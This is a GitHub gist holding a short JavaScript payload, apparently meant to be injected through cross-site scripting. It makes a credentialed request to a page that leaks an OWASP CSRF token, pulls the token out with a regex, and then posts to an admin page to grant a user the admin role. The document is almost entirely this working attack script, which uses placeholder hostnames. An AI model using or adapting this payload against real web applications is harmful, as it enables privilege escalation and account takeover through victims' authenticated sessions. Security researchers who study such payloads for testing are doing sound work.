Created
June 20, 2022 08:31
-
-
Save maggick/d449bab9e6c3503d95f64d9e718030e9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
await fetch('https://subdomain.domain.com/page_leaking_csrf_token',{ | |
method: 'GET', | |
headers: { | |
'Content-Length': '2' | |
}, | |
credentials: 'include' | |
}).then((response) => { | |
a=response; | |
}); | |
b = a.text() | |
await b.then((body) => { | |
t=body; | |
}); | |
regex2 = /OWASP_CSRFTOKEN" \+ '=' \+ "([0-9a-z])*"/g; | |
csrf_token = t.match(regex2)[0].split('"')[2]; | |
await fetch('https://subdomain.domain.com/admin_page_needing_csrf_token',{ | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Content-Length': '105' | |
}, | |
credentials: 'include', | |
body: 'user=1&role=admin&OWASP_CSRFTOKEN='+csrf_token | |
}).then((response) => { | |
c= response.url; | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment